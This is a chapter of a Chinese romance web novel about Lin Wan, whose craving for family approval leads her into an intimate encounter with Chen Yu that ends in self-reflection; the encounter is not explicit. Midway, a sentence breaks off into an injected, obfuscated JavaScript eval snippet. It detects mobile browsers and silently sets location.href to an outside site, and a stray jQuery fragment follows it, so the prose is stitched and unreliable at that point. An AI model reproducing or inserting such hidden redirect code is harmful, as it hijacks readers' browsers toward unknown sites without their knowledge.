两人目光交织,明暗交界处,林晚看见陈屿的眼皮颤抖了两下。
他的目光落在林晚的脸上,停留片刻后逐渐向下移动,直白而赤裸。
空气似乎骤然变得稀薄,林晚的手指略微僵直,在礼服面料的衬托下,她的指关节微微泛白。
等他再次抬起眼,其中饱含着戏谑。
“已经过去半小时了,你现在……”
陈屿看向她时,唐婉琳说话的语调一次次在林晚耳边响起。
“做个三。”
林晚轻缓的吐出这三个字,明明声音短促而微小,却又那么的沉重。
林晚用手捂住了脸,她对唐婉琳的讨好,乞求她能够给予自己一点点的喜欢和关心。
小时候的林晚以前甚至希望自己足够的愚笨,这样她就可以看不懂唐婉琳脸上的表情,自由自在做她被爱着的美梦。
她让自己套住他,那自己,就套住陈屿给她看看。
卑劣而毫不掩饰的欲望。
她赤着脚走向陈屿,一步,两步。
林晚也说不清她自己当时这么做的原因,她只是这么做了。在陈屿略显意外的眼神中。
她将领带松松挂在陈屿的脖颈上,指腹划过脖颈带起一阵战栗。
陈屿咬着烟,垂眸看着她的动作。
“没想到,姐姐也会做这种事情呀。”
烟到了他的指尖,“姐姐”两字充满了讽刺意味。
林晚将陈屿堵在墙角,抬眼看着陈屿,又迅速挪开目光。
“是吗?”
她随意回答着,对他略带嘲讽的语气不加理会。
陈屿咬住烟,在林晚的脸离他自己最近时,抬起手。
林晚下意识想要躲避,他却擦拭去她脸颊未干的水渍。
陈屿手上像是有茧,显得有些粗糙。
他垂眸紧盯着自己,两人距离极近,林晚可以看见陈屿略微滚动的喉结。
林晚的手顿时一僵,停顿一瞬后,继续她之前的想法。握住领带两端随手打结。
被她解开的纽扣还没有被合上,松松垮垮在那里开着,皮肤白恍人眼睛。
林晚一只手缠住陈屿的领带,另一只手的拇指和食指捏住了陈屿唇上抿着的烟,缓慢抽出,再摁灭在了旁边的垃圾箱。
她的拇指用力的摁下去,发出“嘶”的一声轻响,像是一声极轻的叹气,伴随着白烟升起,最后一点火星摁灭。
林晚盯着陈屿衬衫上自己的口红印,将扯着领带的手缓慢向后拉。实际上,她并没有用力,陈屿几乎是迫不及待地靠了上来。
唐婉琳,你看。
套住陈屿,也不是一件难事。
陈屿原本整洁的衬衫此刻已然布满褶皱。林晚的手扯着他的衣角,有些不大确定,这些褶皱究竟是自然生成,还是自己抓出来的。
——但是,已经不重要了。
黑暗中,洗手间冷白灯光照不到的黑暗角落,林晚抬脸,迎上了陈屿的唇瓣。
在消毒水味中,林晚依稀可以闻到自己指尖的焦苦味道,在唇舌的交缠间越发浓烈。
依稀可以听见远处宾客欢笑交谈的声音。而近处,洗手池的水龙头似乎没有关紧,还在一滴一滴往下坠着水珠。
——所有的噪音却又迅速坍缩,几乎不见。耳边只剩下唇齿交缠时轻微的响声,以及喉间的难耐喘息。
地板冰凉,林晚踩上了陈屿的皮鞋。
呼吸交缠着,不知过了多久。
在些许迷乱的气氛中,林晚感受到,陈屿动了。他伸手将自己的腰揽住,力道有些重。
林晚甚至不确定明早起来那里会不会留下印记。
一步,两步。
林晚被动向后退着。直到她的后腰抵上了洗手台,湿意透过衣服渗到腰间皮肤。
陈屿拿纸巾将洗手台擦干,将林晚放了上去。
陈屿的领带依旧被林晚攥在手心。
林晚坐上了洗手台,两人继续接吻。
涎水来不及吞咽,从唇角滑下。陈屿盯着那片反光的湿渍,瞳孔黑得发亮。
门外有脚步声骤然响起,伴随着谈话声越来越近。
终于在某一刻,林晚终于听见了旁人说话的声响,吓得有些不知所措。手指紧紧攥住陈屿的衣袖。
她将自己的神志从绚烂的感官体验中勉强抽离,轻咬陈屿的舌尖,将几乎压在自己身上的男人推开一些。
陈屿黑漆漆的眸子盯着她,带着某种不满的情绪。
林晚将手撑在陈屿的肩膀上,剔透的眼眸像是含着一汪春水。
“带我走。”林晚的唇部贴着陈屿的耳畔若有似无。
在愈来愈近的说话声中,
陈屿的身体僵了半晌。紧接着,他将她打横抱起,一手从林晚的膝盖处穿过,一手揽住她的腰。
林晚顺从的像一只猫,将头靠在陈屿的胸口,以往任何时候都显得笔直坚毅的肩部线条柔和了下来。
她几乎是蜷缩着,贪恋着几乎像是虚假的温暖。
林晚听着耳边陈屿急促的心跳声,心中没有一丝喜悦。
她做出决定了。
陈屿将林晚扔到了床上,温热的身体瞬间陷入床榻之中,就连黑色的鱼尾裙摆都铺上洁白的床单。
林晚的脚抵上了陈屿的肩膀。陈屿抓住了林晚的小腿。
她喜欢看陈屿穿白色衬衫,认为他和白衬衫最相配。
白色衬衫坠地,染上淡淡的灰尘。
窗边有绿叶新生,有夏日晚风拂过绿芽。
两人,没有越界。
最后,陈屿替林晚穿上了她刚刚落下的鞋。
就像灰姑娘一样,林晚看着半跪在眼前的男人,眉眼沉静地为自己穿鞋。
如果是一年之前的夏天,林晚一定想不到之后的事情会发展成这样。那是她也确实不知道陈屿的真实性格。
如果陈屿不说话,一年前的林晚会认为是他害羞、不熟悉环境,所以不敢开口。
而一年后的林晚回头才堪堪明白:陈屿不说话,是因为他觉得不耐烦;或者,只是单纯觉得没有必要。
林晚看着自己的脚被人放在手心摩挲,缓慢地套上高跟鞋。
灰姑娘故事的最后,王子和公主幸福的生活在一起,拥有了美满的人生。
美满的人生,多么具有诱惑力的一个词语呀。
人人都在追求美满,人人都与美满擦肩而过。
难以温饱的人追求活着,贫穷的人大多渴慕钱财,有了些许钱财的人便开始渴望权势,有了权势又希望实现自我价值。
马斯洛需求理论,人们往往在到达一个阶段之后,都会产生新的欲望。
在旁人心中,林晚这样的人,勉强称得上富家小姐,继承遗产便足以让她后半辈子衣食无忧。实在不能理解她为何要执着地追求所谓的爱。
难道活着过完人生,不是最重要的吗?
然而,没有人可以不带一丝感情的度过自己的人生。无数一心追求钱财的人,往往在人生的最后开始追求所谓的真爱。
真爱,多么可笑的词语。
“姐姐做得真好。”
陈屿的吻落在林晚的腰间,细细密密,带着灼热的呼吸。
林晚从自己的思绪中回过神来,用手抚着他的发丝。她喜欢听别人的夸奖。
有时,她甚至可以为了别人的夸奖去做一些自己本不愿意去做的事情。
这个发现让她有些心惊,林晚不自觉往过去回溯。一桩桩、一件件都是这样。
包括最近自己近乎鲁莽的勉强衬得上爱情的情感。
她羞愧难当,用手捂住了脸。
直到在这一刻,她才前所未有地明晰了自己过往行动的所有目的。包括学习、出国、弹琴,所有一切的目的,不过是希望得到家中长辈的肯定。
哪怕只是在他们口中听到一句夸赞,然而一句都没有。
江月星死后,林晚曾无数次在她的画室呢喃般询问这个问题。
“为什么,我已经考到了第一名了?却没有人夸赞我,哪怕只是一句。”
而所谓的偷溜出国,其背后原因的思量,又未尝没有通过这样消失一段时间,让那些忽视她的人得到一丁点反思呢。
过去的自己,愚蠢又满怀希望,费劲心思的讨好,最后却像一个丑角,永远没有得到自己想要的东西。
她,太傻了。
明明,她可以掌握自己的人生,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123390|177539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠猜测别人的喜好,期待所谓的关爱。
林晚伸手推开了陈屿。
在认清自己的那一刹那,她才发现,抛去所谓对陈屿的外表,以及他对自己的顺从与偏爱。
她其实从未真正认识过陈屿,她对他的过去,哪怕是现状,都处于一个完全未知的状态。
一厢情愿地认为有弟弟是一个不错的事情也是她主观的想法。
除了身体接触之外,他对自己其实与陌生人基本无疑。
他是否是真实存在的?
也许,只是自己一厢情愿的想象也说不定。毕竟,自己有些太执着家人的爱了。
所以,自己因此想象出了一个弟弟。林晚垂下眼眸。
她有些快分不清究竟什么是真实世界了。
陈屿仰起头,月光洒在他的脸上,半明半暗的脸庞给他一种莫名的美感,宛如在海上歌唱的塞壬海妖。
林晚抚上了他的脸,陈屿是真实存在的,她可以感受到他吐出的气息。
那为什么,自己又对他一无所知。
“林晚。”陈屿喊她的名字。
林晚梦游似的回应他,陈屿几乎知道了自己的一切,但为何自己却对他一无所知。
就连他不是孤儿,都是唐婉琳口中得知,以一种那样屈辱的方式。
自己那些自以为是的猜测,几乎像漫天的纸屑,将屈辱牢牢压实在她的身上。
距离同陈屿第一次见面已经过去了一年零五十三天,这是林晚第一次这样真实地看着陈屿。
——不是作为一个要素,也不是一个随时会说出“我喜欢你”的单一人物。
为什么自己之前从未意识到这件事情?
自己将所有的事情都当做了玩游戏做任务,特定的动作会引起人物特定的反应,之后作用到自己。
她向来只关心作用到自己的一部分,却从未关心过那个人。
那个人究竟是什么样的,在她的举动之后,究竟为何会做出那样的行为。
林晚一无所知,世界对她来说,就像一个巨大的平面。
带着这样的思考,林晚再次看向陈屿。观看视角的不同,让她完整而清晰地看见了陈屿。
一个眼含欲望的年轻人,一个步步为营的隐瞒者,一个习惯性将个性藏于温和外表下的人,一个——口口声声说喜欢自己的人。
所有的人格拼图在林晚整合,却始终无法拼凑出一个立体的陈屿。
他在自己的眼中,似乎只是一个过分单薄的平面人物。
她伸手拍了拍自己身边的位置,示意陈屿坐在自己身边的床铺上。
陈屿却没有动,微微眯起眼睛,看着林晚。
林晚坦然回应着他的目光。
她觉得,就在刚才,自己似乎跨过了一个巨大的坎,一个几乎困扰了她上半辈子的一条坎。
她终于将自己从自哀自怨自怜自恋的情绪中,解放了。
林晚开始试着全面地看待身边的人和事了,她把自己从被自己锁住的笼子中释放了。
她没有自己想象的那般凄惨,别人有不喜欢自己的权力,为何要将自己困在名为自我矮化、自我感动的铁笼中。
林晚看向陈屿,像是第一次看到他。
浮现在她脑海中的,终于不是温润如竹子一般的标签似的形容词了。
他就这样半跪在自己眼前,手撑在自己的腿上,眼尾泛红,眼神又是极为克制。
在她的目光中,陈屿的表情似乎没有太大变化,喉结却在紧绷的颈线上不明显地滚动了一下。胸膛的起伏被刻意拉长、放缓,像是每一次呼吸都在对抗无形的重压。
他究竟是一个什么样的人,而自己,又究竟是一个什么样的人?
“陈屿,我是一个怎么样的人?”林晚问他,手从他的脸上收回,向后撑着床单。
这个夜晚的宴会很漫长,似乎永远都到不了结尾。
“我应该,是一个很古怪的人吧。不近人情,有偶然非常热心。”林晚用食指点着下巴思考。
陈屿看着她的表情,盯着半晌,站起身来,坐到了林晚的身材,刚刚林晚示意的地方。
“你并不古怪。”他说:“你只是,有些太过迫切。”